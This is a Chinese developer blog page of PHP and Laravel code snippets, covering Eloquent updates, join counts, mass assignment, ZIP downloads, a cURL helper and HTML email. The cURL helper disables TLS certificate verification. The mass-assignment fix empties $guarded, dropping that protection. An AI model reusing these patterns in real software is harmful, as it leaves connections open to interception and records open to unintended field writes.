<h3 id="laravel-first-更新不成功"><a href="#laravel-first-更新不成功" class="headerlink" title="laravel first 更新不成功"></a>laravel first 更新不成功</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$user =user::where(<span class="string">'id'</span>,<span class="number">2</span>)-&gt;first([<span class="string">'name'</span>,<span class="string">'age'</span>]);</span><br><span class="line">$user-&gt;name=<span class="string">'php'</span></span><br><span class="line">$user-&gt;save();</span><br><span class="line"><span class="comment">//正确</span></span><br><span class="line">$user =user::where(<span class="string">'id'</span>,<span class="number">2</span>)-&gt;first([<span class="string">'name'</span>,<span class="string">'id'</span>]);</span><br><span class="line">$user-&gt;name=<span class="string">'php'</span></span><br><span class="line">$user-&gt;save();</span><br></pre></td></tr></table></figure>
<h3 id="Laravel-关联查询限制条数"><a href="#Laravel-关联查询限制条数" class="headerlink" title="Laravel 关联查询限制条数"></a>Laravel 关联查询限制条数</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">select <span class="string">`u`</span>.<span class="string">`id`</span>,<span class="string">`u`</span>.<span class="string">`name`</span>,<span class="string">`num`</span> <span class="keyword">from</span> <span class="string">`users`</span> <span class="keyword">as</span> <span class="string">`u`</span> left join (select <span class="string">`user_id`</span>,count(*) <span class="keyword">as</span> <span class="string">`num`</span> <span class="keyword">from</span> books group by <span class="string">`user_id`</span>) <span class="keyword">as</span> <span class="string">`b`</span> on <span class="string">`u`</span>.id = <span class="string">`b`</span>.user_id</span><br><span class="line">select distinct <span class="string">`u`</span>.<span class="string">`id`</span>,<span class="string">`u`</span>.<span class="string">`name`</span>,IFNULL( <span class="string">`b`</span>.<span class="string">`num`</span>, <span class="number">0</span> ) AS num <span class="keyword">from</span> <span class="string">`users`</span> <span class="keyword">as</span> <span class="string">`u`</span> left join (select <span class="string">`user_id`</span>,count(*) <span class="keyword">as</span> <span class="string">`num`</span> <span class="keyword">from</span> books group by <span class="string">`user_id`</span>) <span class="keyword">as</span> <span class="string">`b`</span> on <span class="string">`u`</span>.id = <span class="string">`b`</span>.user_id</span><br><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">test3</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">    <span class="comment">//统计出所有内部员工的user_id https://learnku.com/articles/25944</span></span><br><span class="line">    $user_ids = [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>];</span><br><span class="line">    $users = User::selectRaw(<span class="string">'u.id,IFNULL( b.number, 0 ) AS number'</span>)</span><br><span class="line">        -&gt;<span class="keyword">from</span>(<span class="string">'users as u'</span>)</span><br><span class="line">        -&gt;distinct()</span><br><span class="line">        -&gt;whereIn(<span class="string">'id'</span>, $user_ids)</span><br><span class="line">        -&gt;leftJoin(<span class="string">'books as b'</span>,<span class="function"><span class="keyword">function</span> (<span class="params">$join</span>) <span class="title">use</span>(<span class="params">$user_ids</span>)</span>&#123;</span><br><span class="line">               $join-&gt;selectRaw(<span class="string">'user_id,count(*) as number'</span>)-&gt;whereIn(<span class="string">'user_id'</span>, $user_ids)-&gt;groupBy(<span class="string">'user_id'</span>)-&gt;on(<span class="string">'u.id'</span>, <span class="string">'='</span>, <span class="string">'b.user_id'</span>);</span><br><span class="line">            &#125;)</span><br><span class="line">        -&gt;get();</span><br><span class="line">    <span class="keyword">return</span> $users;</span><br><span class="line">&#125;</span><br><span class="line">Unknown column <span class="string">'b.number'</span> <span class="keyword">in</span> <span class="string">'field list'</span> (SQL: select distinct u.id,IFNULL( b.number, <span class="number">0</span> ) AS number <span class="keyword">from</span> <span class="string">`users`</span> <span class="keyword">as</span> <span class="string">`u`</span> left join <span class="string">`books`</span> <span class="keyword">as</span> <span class="string">`b`</span> on <span class="string">`user_id`</span> <span class="keyword">in</span> (<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>) and <span class="string">`u`</span>.<span class="string">`id`</span> = <span class="string">`b`</span>.<span class="string">`user_id`</span> where <span class="string">`id`</span> <span class="keyword">in</span> (<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>))</span><br><span class="line"></span><br><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">test2</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//统计出所有内部员工的user_id</span></span><br><span class="line"></span><br><span class="line">    $user_ids = [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>];</span><br><span class="line"></span><br><span class="line">    $bookQuery = Book::selectRaw(<span class="string">'user_id,count(*) as number'</span>)-&gt;whereIn(<span class="string">'user_id'</span>, $user_ids)-&gt;groupBy(<span class="string">'user_id'</span>); <span class="comment">//制作一个query builder</span></span><br><span class="line"></span><br><span class="line">    $users = User::selectRaw(<span class="string">'u.id,IFNULL( b.number, 0 ) AS number'</span>)</span><br><span class="line">        -&gt;<span class="keyword">from</span>(<span class="string">'users as u'</span>)</span><br><span class="line">        -&gt;distinct()</span><br><span class="line">        -&gt;whereIn(<span class="string">'id'</span>, $user_ids)</span><br><span class="line">        -&gt;leftJoin(\DB::raw(<span class="string">"(&#123;$bookQuery-&gt;toSql()&#125;) as b"</span>),<span class="function"><span class="keyword">function</span> (<span class="params">$join</span>) <span class="title">use</span>(<span class="params">$bookQuery</span>)</span>&#123;</span><br><span class="line">            <span class="comment">//toSql()返回的是等待绑定参数的SQL语句</span></span><br><span class="line">            $join-&gt;mergeBindings($bookQuery-&gt;getQuery())-&gt;on(<span class="string">'u.id'</span>,<span class="string">'='</span>,<span class="string">'b.user_id'</span>);</span><br><span class="line">            <span class="comment">//mergeBindings是将SQl的参数进行绑定</span></span><br><span class="line">        &#125;)</span><br><span class="line">        -&gt;get();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $users;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="laravel-MassAssignmentException"><a href="#laravel-MassAssignmentException" class="headerlink" title="laravel MassAssignmentException"></a>laravel MassAssignmentException</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; $s= Stock::where([<span class="string">'uid'</span>=&gt;<span class="number">3230498441</span>,<span class="string">'readtime'</span>=&gt;<span class="number">0</span> ])-&gt;first()</span><br><span class="line">=&gt; &lt;Stock #0000000041071db4000000000f7f2b98&gt; &#123;</span><br><span class="line">       id: 678,</span><br><span class="line">       uuid: "01ec5da0-43ad-11e9-820c-217bded4b29c",</span><br><span class="line">       uid: 3230498441,</span><br><span class="line">       ctime: "2019-03-11 11:23:15",</span><br><span class="line">       readtime: 0</span><br><span class="line">   &#125;</span><br><span class="line">&gt;&gt;&gt; $s-&gt;update(['readtime'=&gt;time()])</span><br><span class="line">Illuminate\Database\Eloquent\MassAssignmentException with message 'readtime'</span><br><span class="line">cat  vendor\laravel\framework\src\Illuminate\Database\Eloquent\Model.php</span><br><span class="line"></span><br><span class="line">public function fill(array $attributes)</span><br><span class="line">	&#123;</span><br><span class="line">		$totallyGuarded = $this-&gt;totallyGuarded();</span><br><span class="line"></span><br><span class="line">		foreach ($this-&gt;fillableFromArray($attributes) as $key =&gt; $value)</span><br><span class="line">		&#123;</span><br><span class="line">			$key = $this-&gt;removeTableFromKey($key);</span><br><span class="line"></span><br><span class="line">			// The developers may choose to place some attributes in the "fillable"</span><br><span class="line">			// array, which means only those attributes may be set through mass</span><br><span class="line">			// assignment to the model, and all others will just be ignored.</span><br><span class="line">			if ($this-&gt;isFillable($key))</span><br><span class="line">			&#123;</span><br><span class="line">				$this-&gt;setAttribute($key, $value);</span><br><span class="line">			&#125;</span><br><span class="line">			elseif ($totallyGuarded)</span><br><span class="line">			&#123;</span><br><span class="line">				throw new MassAssignmentException($key);//这里报错</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		return $this;</span><br><span class="line">	&#125;</span><br><span class="line">public function totallyGuarded()</span><br><span class="line">	&#123;</span><br><span class="line">		return count($this-&gt;fillable) == 0 &amp;&amp; $this-&gt;guarded == array('*');</span><br><span class="line">	&#125;</span><br><span class="line">	</span><br><span class="line">	model文件添加 protected $guarded = [];</span><br><span class="line">这个问题的关键是 save 方法，因为这个方法在不同的环境下会有不同的效果。如果一个 Model 他还不存在，则调用 save 方法的作用是 insert 一条记录。如果此 Model 已经存在于数据库，则调用 save 方法的效果是 Update 这条存在的记录。</span><br><span class="line">所以文档强调的是：如果你调用 save 方法来更新 Model，那么只有这个 Model 对应的数据存在于数据库中时，才会触发 updating 和 updated 事件（因为不存在的话就是 insert 操作，会触发 creating 和 craeted 事件）。如果你调用 save 方法来保存或更新 Model，那么不管数据记录是否已经存在，都会触发 saving 和 saved 这两个事件。文档表述可能存在问题，但意思是这个意思。https://learnku.com/laravel/t/8942/is-the-updating-and-updated-event-triggered-description-discrepancy</span><br></pre></td></tr></table></figure>
<h3 id="1234567890-转换成-1-234-567-890"><a href="#1234567890-转换成-1-234-567-890" class="headerlink" title="1234567890 转换成 1,234,567,890"></a>1234567890 转换成 1,234,567,890</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$str=<span class="string">'1234567890'</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">demo</span>(<span class="params">$str</span>)</span>&#123;</span><br><span class="line">  $str=strrev($str);<span class="comment">//先翻转字符串 https://learnku.com/articles/25953#reply84620</span></span><br><span class="line">  $arr=str_split($str,<span class="number">3</span>);<span class="comment">//每3个隔开</span></span><br><span class="line">  $str=strrev(implode(<span class="string">','</span>,$arr));<span class="comment">//在把数组以，变成字符串 在翻转</span></span><br><span class="line">  echo $str;</span><br><span class="line">&#125;</span><br><span class="line">&gt;&gt;&gt; number_format(<span class="string">'1234567890'</span>,<span class="number">3</span>,<span class="string">','</span>,<span class="string">','</span>);</span><br><span class="line">=&gt; <span class="string">"1,234,567,890,000"</span></span><br></pre></td></tr></table></figure>
<h3 id="curl-cookie"><a href="#curl-cookie" class="headerlink" title="curl cookie"></a>curl cookie</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">mycurl(<span class="string">'xxx'</span>,<span class="number">3</span>,<span class="number">3</span>,$_COOKIE)</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">myCurl</span>(<span class="params">$url,$time=<span class="number">3</span>,$retries = <span class="number">3</span>, $cookie = []</span>)</span>&#123;</span><br><span class="line">		$ch = curl_init();</span><br><span class="line">		curl_setopt($ch, CURLOPT_RETURNTRANSFER, <span class="number">1</span>);</span><br><span class="line">		curl_setopt($ch, CURLOPT_URL, $url);</span><br><span class="line">		curl_setopt($ch, CURLOPT_TIMEOUT, $time); <span class="comment">//</span></span><br><span class="line">		curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,<span class="literal">false</span>);</span><br><span class="line">		curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,<span class="literal">false</span>);</span><br><span class="line">		<span class="keyword">if</span>($cookie) &#123;</span><br><span class="line">            curl_setopt($ch, CURLOPT_COOKIE, http_build_query($cookie, <span class="string">''</span>, <span class="string">';'</span>));<span class="comment">//a=1;b=2</span></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">		$result = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">		<span class="keyword">while</span>(($result === <span class="literal">false</span>) &amp;&amp; (--$retries &gt; <span class="number">0</span>))&#123;</span><br><span class="line">			$result = curl_exec($ch);</span><br><span class="line">		&#125;</span><br><span class="line">		curl_close($ch);</span><br><span class="line">		<span class="keyword">return</span> $result;</span><br><span class="line">	&#125;</span><br></pre></td></tr></table></figure>
<h3 id="创建-Zip-压缩文件并提供下载"><a href="#创建-Zip-压缩文件并提供下载" class="headerlink" title="创建 Zip 压缩文件并提供下载"></a>创建 Zip 压缩文件并提供下载</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">$zip_file = <span class="string">'invoices.zip'</span>; <span class="comment">// 要下载的压缩包的名称 https://learnku.com/laravel/t/26087</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 初始化 PHP 类</span></span><br><span class="line">$zip = <span class="keyword">new</span> \ZipArchive();</span><br><span class="line">$zip-&gt;open($zip_file, \ZipArchive::CREATE | \ZipArchive::OVERWRITE);</span><br><span class="line"></span><br><span class="line">$invoice_file = <span class="string">'invoices/aaa001.pdf'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 添加文件：第二个参数是待压缩文件在压缩包中的路径</span></span><br><span class="line"><span class="comment">// 所以，它将在 ZIP 中创建另一个名为 "storage/" 的路径，并把文件放入目录。</span></span><br><span class="line">$zip-&gt;addFile(storage_path($invoice_file), $invoice_file);</span><br><span class="line">$zip-&gt;close();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 我们将会在文件下载后立刻把文件返回原样</span></span><br><span class="line"><span class="keyword">return</span> response()-&gt;download($zip_file);</span><br><span class="line"></span><br><span class="line">$zip_file = <span class="string">'invoices.zip'</span>;</span><br><span class="line">$zip = <span class="keyword">new</span> \ZipArchive();</span><br><span class="line">$zip-&gt;open($zip_file, \ZipArchive::CREATE | \ZipArchive::OVERWRITE);</span><br><span class="line"></span><br><span class="line">$path = storage_path(<span class="string">'invoices'</span>);</span><br><span class="line">$files = <span class="keyword">new</span> \RecursiveIteratorIterator(<span class="keyword">new</span> \RecursiveDirectoryIterator($path));</span><br><span class="line">foreach ($files <span class="keyword">as</span> $name =&gt; $file)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">// 我们要跳过所有子目录</span></span><br><span class="line">    <span class="keyword">if</span> (!$file-&gt;isDir()) &#123;</span><br><span class="line">        $filePath     = $file-&gt;getRealPath();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 用 substr/strlen 获取文件扩展名</span></span><br><span class="line">        $relativePath = <span class="string">'invoices/'</span> . substr($filePath, strlen($path) + <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">        $zip-&gt;addFile($filePath, $relativePath);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$zip-&gt;close();</span><br><span class="line"><span class="keyword">return</span> response()-&gt;download($zip_file);</span><br></pre></td></tr></table></figure>
<h3 id="php-email"><a href="#php-email" class="headerlink" title="php email"></a>php email</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">[root@localhost ~]# service sendmail status</span><br><span class="line">sendmail is stopped</span><br><span class="line">sm-client is stopped</span><br><span class="line">[root@localhost ~]# service sendmail start</span><br><span class="line">Starting sendmail:                                         [  OK  ]</span><br><span class="line">Starting sm-client:                                        [  OK  ]</span><br><span class="line">[root@localhost ~]# service sendmail status</span><br><span class="line">sendmail (pid  <span class="number">8746</span>) is running...</span><br><span class="line">sm-client (pid  <span class="number">8756</span>) is running...</span><br><span class="line"></span><br><span class="line">$to = <span class="string">'user@example.com'</span>;</span><br><span class="line">$subject = <span class="string">"Beautiful HTML Email using PHP by CodexWorld"</span>;</span><br><span class="line">$htmlContent = file_get_contents(<span class="string">"email_template.html"</span>);</span><br><span class="line">$htmlContent = <span class="string">'</span></span><br><span class="line"><span class="string">    &lt;html&gt;</span></span><br><span class="line"><span class="string">    &lt;head&gt;</span></span><br><span class="line"><span class="string">        &lt;title&gt;Welcome to CodexWorld&lt;/title&gt;</span></span><br><span class="line"><span class="string">    &lt;/head&gt;</span></span><br><span class="line"><span class="string">    &lt;body&gt;</span></span><br><span class="line"><span class="string">        &lt;h1&gt;Thanks you for joining with us!&lt;/h1&gt;</span></span><br><span class="line"><span class="string">        &lt;table cellspacing="0" style="border: 2px dashed #FB4314; width: 300px; height: 200px;"&gt;</span></span><br><span class="line"><span class="string">            &lt;tr&gt;</span></span><br><span class="line"><span class="string">                &lt;th&gt;Name:&lt;/th&gt;&lt;td&gt;CodexWorld&lt;/td&gt;</span></span><br><span class="line"><span class="string">            &lt;/tr&gt;</span></span><br><span class="line"><span class="string">            &lt;tr style="background-color: #e0e0e0;"&gt;</span></span><br><span class="line"><span class="string">                &lt;th&gt;Email:&lt;/th&gt;&lt;td&gt;contact@codexworld.com&lt;/td&gt;</span></span><br><span class="line"><span class="string">            &lt;/tr&gt;</span></span><br><span class="line"><span class="string">            &lt;tr&gt;</span></span><br><span class="line"><span class="string">                &lt;th&gt;Website:&lt;/th&gt;&lt;td&gt;&lt;a href="http://www.codexworld.com"&gt;www.codexworld.com&lt;/a&gt;&lt;/td&gt;</span></span><br><span class="line"><span class="string">            &lt;/tr&gt;</span></span><br><span class="line"><span class="string">        &lt;/table&gt;</span></span><br><span class="line"><span class="string">    &lt;/body&gt;</span></span><br><span class="line"><span class="string">    &lt;/html&gt;'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Set content-type header for sending HTML email</span></span><br><span class="line">$headers = <span class="string">"MIME-Version: 1.0"</span> . <span class="string">"\r\n"</span>;</span><br><span class="line">$headers .= <span class="string">"Content-type:text/html;charset=UTF-8"</span> . <span class="string">"\r\n"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Additional headers  https://www.codexworld.com/send-beautiful-html-email-using-php/</span></span><br><span class="line">$headers .= <span class="string">'From: CodexWorld&lt;sender@example.com&gt;'</span> . <span class="string">"\r\n"</span>;</span><br><span class="line">$headers .= <span class="string">'Cc: welcome@example.com'</span> . <span class="string">"\r\n"</span>;</span><br><span class="line">$headers .= <span class="string">'Bcc: welcome2@example.com'</span> . <span class="string">"\r\n"</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Send email</span></span><br><span class="line"><span class="keyword">if</span>(mail($to,$subject,$htmlContent,$headers)):</span><br><span class="line">    $successMsg = <span class="string">'Email has sent successfully.'</span>;</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    $errorMsg = <span class="string">'Email sending fail.'</span>;</span><br><span class="line">endif;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$to = <span class="string">'maryjane@email.com'</span>;</span><br><span class="line">$subject = <span class="string">'Marriage Proposal'</span>;</span><br><span class="line">$message = <span class="string">'Hi Jane, will you marry me?'</span>; </span><br><span class="line">$<span class="keyword">from</span> = <span class="string">'peterparker@email.com'</span>;</span><br><span class="line"> </span><br><span class="line"><span class="comment">// Sending email</span></span><br><span class="line"><span class="keyword">if</span>(mail($to, $subject, $message))&#123;</span><br><span class="line">    echo <span class="string">'Your mail has been sent successfully.'</span>;</span><br><span class="line">&#125; <span class="keyword">else</span>&#123;</span><br><span class="line">    echo <span class="string">'Unable to send email. Please try again.'</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p><a href="https://segmentfault.com/a/1190000018479250?utm_source=tag-newest" target="_blank" rel="noopener">PHP+openssl实现非对称加密</a></p>
<p><a href="http://eienao.com/posts/build-a-lnmp-runtime-environment-from-scratch.html" target="_blank" rel="noopener">从零开始搭建一个lnmp运行环境</a></p>
<p><a href="https://learnku.com/articles/17867" target="_blank" rel="noopener">Session 与 Token 身份验证</a></p>
<p><a href="http://www.cnblogs.com/skynet/archive/2011/05/03/2035105.html" target="_blank" rel="noopener">字符集和字符编码</a></p>
<p><a href="https://learnku.com/articles/22338" target="_blank" rel="noopener">php函数</a></p>
<p><a href="https://learnku.com/articles/22694" target="_blank" rel="noopener">PHP导出百万Excel</a></p>
<p><a href="https://laravel-china.org/articles/22483" target="_blank" rel="noopener">PHP 编写守护进程</a></p>
<p><a href="http://kuanghy.github.io/2015/11/25/php-isimg" target="_blank" rel="noopener">判断文件是否为图片的方法</a></p>
<p><a href="https://www.goozp.com/article/9.html" target="_blank" rel="noopener">消息队列及PHP中的简单实现与应用</a></p>
<p><a href="https://laravel-china.org/articles/19876" target="_blank" rel="noopener">Laravel Eloquent 提示和技巧 </a></p>
<p><a href="https://laravel-china.org/articles/20712" target="_blank" rel="noopener">Laravel 中的 Event 和事件的概念</a></p>
<p><a href="https://www.raymondwu.net/2018/07/30/Redis%E4%B8%BB%E4%BB%8E%E5%A4%8D%E5%88%B6-%E5%93%A8%E5%85%B5-%E9%9B%86%E7%BE%A4%E9%83%A8%E7%BD%B2/" target="_blank" rel="noopener">Redis 主从复制、哨兵及集群部署</a></p>

      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/代码/" rel="tag"># 代码</a>
          
        </div>
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2018/12/27/linux-常用命令/" rel="next" title="linux常用命令收集">
                <i class="fa fa-chevron-left"></i> linux常用命令收集
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2019/01/07/mysql片段收集/" rel="prev" title="mysql片段收集">
                mysql片段收集 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  
          <div class="comments" id="comments">
             <div id="gitment-container"></div>
         </div>
  




        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            文章目录
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            站点概览
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope="" itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">苏生不惑</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">382</span>
                  <span class="site-state-item-name">日志</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">37</span>
                  <span class="site-state-item-name">标签</span>
                </a>
              </div>
            

          </nav>

          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/sushengbuhuo" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-github"></i>GitHub</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="mysusheng@gmail.com" target="_blank" title="E-Mail">
                      
                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
                  </span>
                
                  <span class="links-of-author-item">
                    <a href="https://plus.google.com/mysusheng" target="_blank" title="Google">
                      
                        <i class="fa fa-fw fa-google"></i>Google</a>
                  </span>
                
            </div>
          

          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                Links
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="http://v2ex.com/" title="v2ex" target="_blank">v2ex</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.fanhaobai.com/" title="fanhaobai" target="_blank">fanhaobai</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://yuanxuxu.com/archives/" title="yuanxuxu" target="_blank">yuanxuxu</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.snail-c.cn/article" title="snail-c" target="_blank">snail-c</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://showcj.com/archives" title="showcj" target="_blank">showcj</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://vultr.aicnm.com/%E6%9C%80%E6%96%B0Vultr%E6%B3%A8%E5%86%8C%E5%8F%8AVPS%E8%B4%AD%E4%B9%B0%E5%9B%BE%E6%96%87%E6%95%99%E7%A8%8B/" title="vultr" target="_blank">vultr</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.lucissfer.com/" title="lucissfer" target="_blank">lucissfer</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://blog.csdn.net/fdipzone/article/details/79352685" title="傲雪星枫" target="_blank">傲雪星枫</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.yoby123.cn/index.php/category/default/" title="小白的分享" target="_blank">小白的分享</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.cnblogs.com/52fhy/p/5819995.html" title="PHP攻城狮" target="_blank">PHP攻城狮</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
